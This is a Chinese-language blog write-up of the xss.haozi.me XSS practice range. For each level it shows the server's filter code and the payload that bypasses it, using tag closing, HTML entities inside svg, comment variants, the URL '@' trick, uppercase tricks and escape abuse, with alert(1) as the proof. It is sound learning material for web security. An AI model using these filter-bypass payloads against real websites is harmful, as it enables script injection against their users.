Fork me on GitHub

xss.haozi.me 练习

引言

  • 最近打算好好练习一下基础的技能,所以在闲余之暇,花一点时间做做靶场练习
  • 先打算从比较方便的可以在线的练习开始,所以并没有用最常用的DVWA,而就直接用的在线的这个xss靶场开始
  • 此文仅是用来记录我自己的学习心得,有写得不好的地方,望大家见谅

靶场地址

0x00-0x05

0x00

服务端代码:
function render (input) {
  return '<div>' + input + '</div>'
}
  • 服务端并未有任何过滤,直接使用最常规的<script>alert(1)</script>即可完成
    xss

0x01

服务端代码:
function render (input) {
  return '<textarea>' + input + '</textarea>'
}
  • 服务端仍然没有进行过滤,只是这次的输出并不是直接输出,而是加入在textarea中,所以现将其闭合在输出即可
  • 对于<textarea>标签,如果直接在其中写入html代码的话也是不能直接被执行的, 仅仅将其作为普通文本显示,但当我们现将其进行闭合后,再写入脚本就可以执行了
  • 故最终payload: </textarea><script>alert(1)</script><textarea>
  • 注:<textarea><script>alert(1)</script></textarea>这样直接将script写入textarea中而未先去闭合标签,只会被当作普通文本处理
    xss

0x02

服务端代码
function render (input) {
  return '<input type="name" value="' + input + '">'
}
  • 这次可以看到输出被赋给了value,我们要做的也还是要将其先闭合,然后再输入脚本
  • "><"<script>alert(1)</script>>
    xss

0x03

服务端代码:
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
  • 这关开始有了过滤的操作,我们这里就要开始尝试绕过过滤,先看一下这个正则/[()]/g,即全局匹配小括号,而后再将其换成空,所以我们就要想办法绕过小括号过滤,通过查找资料发现一个叫模板字符串的可以绕过js的这种过滤
  • payload: <script>alert`1`</script>
  • 对于所谓的模板字符串即允许嵌入表达式的字符串字面量。可以使用多行字符串和字符串插值功能。
    1、模板字符串使用反引号 (``) 来代替普通字符串中的用双引号和单引号。
    2、模板字符串可以包含特定语法(${expression})的占位符。占位符中的表达式和周围的文本会一起传递给一个默认函数,该函数负责将所有的部分连接起来,如果一个模板字符串由表达式开头,则该字符串被称为带标签的模板字符串,该表达式通常是一个函数,它会在模板字符串处理后被调用,在输出最终结果前,你都可以通过该函数来对模板字符串进行操作处理。
    3、在模版字符串内使用反引号(`)时,需要在它前面加转义符(\)。
    xss

0x04

服务端代码:
function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}
  • 这关可以看到他已经了解到我们上一关所使用的绕过方法,所以这里他是将反引号也给一起过滤了,所以我们这里就无法使用像上一关一样的方法,所以就要寻找新的方法,可使用<svg>html编码来绕过
  • <svg>标签中可以直接执行html实体编码字符,由于小括号还是被过滤,我们这里只好现将其进行html编码后,再让<svg>标签直接执行html实体编码字符以实现最终弹窗
  • 最终payload:<svg><script>alert&#40;1&#41;</script>
    xss

0x05

服务端代码:
function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}
  • 此关是对于注释符进行过滤,所以要尝试对注释符进行绕过,对于html的注释符有两种写法,一种不对称的<!-- -->和另一种对称的<!-- --!>,所以这里可以使用对称的注释符
  • 故最终的payload:--!><script>alert(1)</script>
    xss

0x06-0x0A

0x06

服务端代码:
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}
  • 此关是将所有以auto或者on开头的且以=>结尾的属性替换成_后直接输出,且匹配是不考虑大小写
  • 这里查到可以使用换行符来绕过,因为Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略,而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号
payload: type="image" src="xxx" onerror

="alert(1)"

xss

0x07

服务端代码:
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
  • 此关是对于以</开头后接任意0个或1个非>字符且以>结尾的字符串进行过滤,且不考虑大小写,即过滤了以<>包裹的标签
  • 由于html的容错性很高,对于标签不闭合也可以接受(网上说这只是html4时的无尾标签特性,而html5时就将其去除了,不知道为啥这里还能执行成功),这里就直接使用不闭合的语句就能成功弹窗
  • payload : <img src="xxx" onerror="alert(1)"
    xss

0x08

服务端代码:
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}
  • </style>标签过滤了,替换成了/* 坏人 */unicode
  • 这里可以使用空格、换行、制表符来绕过
payload:
</style
><img src="xxx" onerror="alert(1)"

xss

0x09

服务端代码:
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
  • 此关首先是要匹配输入一个指定的url,然后就是尝试将其闭合即可,所有输入都是在引号之内的,所以要让弹窗成功,就要尝试先闭合引号
  • 最终payload:https://www.segmentfault.com/><""img src="xxx"onerror=alert(1)>
    xss

0x0A

服务端代码:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}
  • 此关相较于上一关,也是要去输入一个指定的url,不过这次对其中的一些符号进行了编码,将&,',",<,>,/换成了其对应的html编码
  • 原本想看能不能用svg先解码,发现不行,于是看了题解,说可以利用url@特性,引入外部js
  • 对于url@特性,对于www.baidu.com@www.qq.com他最终访问的会是QQ,类似一个跳转
  • payload : https://www.segmentfault.com@xss.haozi.me/j.js,这里使用的网上流传的答案,使用的是作者自己写的js,额,但是不知道为什么没能弹窗
    xss

0x0B-0x0F

0x0B

服务端代码:
function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}
  • 此关使用toUpperCase函数对于输入进行了转成大写的操作
  • 对于大小写的问题,html 标签, 域名 不区分大小写,path部分区分大小写。
  • 按照官方的题解还是通过去引用外部的js来绕过大小写的限制,让evil服务器返回J.JS就可以,但是用官方的那个js仍然出现不能弹窗的情况,官方题解:<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
  • 后来看到网上说使用uniocde编码也可以解决绕过大小写,因为js解析器在工作时回对unicode先进行解码,例如这里会被先解析成alert(1)从而实现弹窗
  • htmlunicode编码格式:&#编码的十进制数值,一般的格式还有直接\u开头的16进制四位编码,一定是四位,否则报错
  • 附上payload:<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
    xss

0x0C

服务端代码:
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
  • 此关比上一关对了一层过滤,即将script替换为空,且不论大小写
  • 同样的还是可以使用上一关中官方的题解给的js,只不过要绕过script,可以通过双写来绕过<scrscriptipt>,但是js还是用不了|(*′口`)
  • 此外使用unicode貌似不能解决了
  • 官方payload: <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>
    xss

0x0D

服务端代码:
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}
  • 此关是对于输入的< / " '等进行了过滤,将其转换成空,并且在输入处进行了单行注释,这里可以通过使用换行符进行绕过,但换行仅能过单行注释,代码还是不能正常运行,这里可使用html注释
    -->来注释后面的js,使代码正常运行
  • 对于这里使用html的注释符也能闭合js单行注释,查了一下,发现说对于那些不支持JavaScript的浏览器会把脚本作为页面的内容来显示;为了防止这种情况发生,我们可以使用这样的HTML注释标签
<!--
document.write("Hello World!");
//-->
  • 可以看到这里就是使用了html标签闭合的js,对于<!---->都可以在htmlscript标签里单独使用进行单行注释,这里<被过滤了,所以使用-->
payload:

alert(1)
-->

xss

0x0E

服务端代码:
function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
  • 此关对于所有以<开头的加任意大小写字符的进行替换为<_且再将所有小写字母换成大写
  • 这里参考官方题解后学到了一些骚操作,对于ſ 古英语中的s的写法, 转成大写是正常的S,从而可以绕过<script>限制,再就还是用外链的方式加载外部js,同样还是没能弹窗
  • 官方题解:<ſcript src="https://xss.haozi.me/j.js"></script>
    xss

0x0F

服务端代码:
function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
  • 此关还是对于输入的一些符号进行了编码操作,但对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析js
  • 但是由于输入信息是在img标签内,所以html实体编码是可以被直接解析的,所以闭合前面的标签,在构造语句即可,这里onerror后面用分号闭合后感觉类型堆叠执行一样,尚未弄清原理。
  • payload:');alert('1
    xss

0x10-0x12

0x10

服务端代码:
function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}
  • 这关直接将输入赋给window.data,而window是浏览器的窗口,且这里没有做过滤,所以直接先闭合语句,再赋值alert(1),此外直接赋值alert(1)也可以
payload 1: '';alert(1)
payload 2: alert(1)

xss

0x11

服务端代码:
// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}
  • 此关过滤了一堆字符,在其前多加了一个反斜号,这种情况我们就可以利用替换后的字符构造语句。
  • "被转义成\"正好可以闭合console.log("\"),而后使用分号闭合语句后就可尝试构造弹窗语句,然后//注释后面的字符
  • 此外除了用注释符注释后面语句,还可以用引号包裹alert所要弹出内容让其与后面引号匹配
payload1 : ");alert(1)//
payload2 : ");alert("1

xss1
xss2

0x12

服务端代码:
// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}
  • 首先是将"替换为\\",在是对于输入使用单引号包裹
  • 这里我们还是可以使用转义后的语句尝试闭合和构造语句,先使用一个"会发现只是被替换成\",此时添进去的引号被没有起到闭合的作用
    xss
  • 所以就要再多加一个\,使得其变成\\"这是转义后的双引号,他就可以起到闭合的作用了,但此时还未能是括号闭合所以还要写成\")才能完成前面语句闭合。
    xss
  • 闭合好前面语句后,由于这里没有其他过滤操作了,所以在使用分号分隔两句之后就可以直接使用语句弹窗\");alert(1)
    xss
  • 但是这里会发现在语句的最后还多了一开始的"),这里直接注释掉即可
  • 所以最终payload: \");alert(1)//
    xss

小结

  • 至此这个靶场所有的xss练习就完成了,一共花了大约三个晚上,每晚1小时左右,此次练习对于一些xss的一些过滤手段有了更深的理解,掌握了不少绕过的技巧,其中遇到的一些姿势也尽可能的去找了一下其实现原理,做到知其然而知其所以然,对于比较绕的(个人觉得比较难的关卡),也把自己完成的步骤记录了下来,有解释的不准确的地方也希望各位小伙伴们能不吝指教
  • 好了,这一阶段的练习也到此结束,后面再看看在复习之余多多磨练自己的技术。
posted @ 2020-07-18 22:57  Konmu  阅读(2685)  评论(4编辑  收藏  举报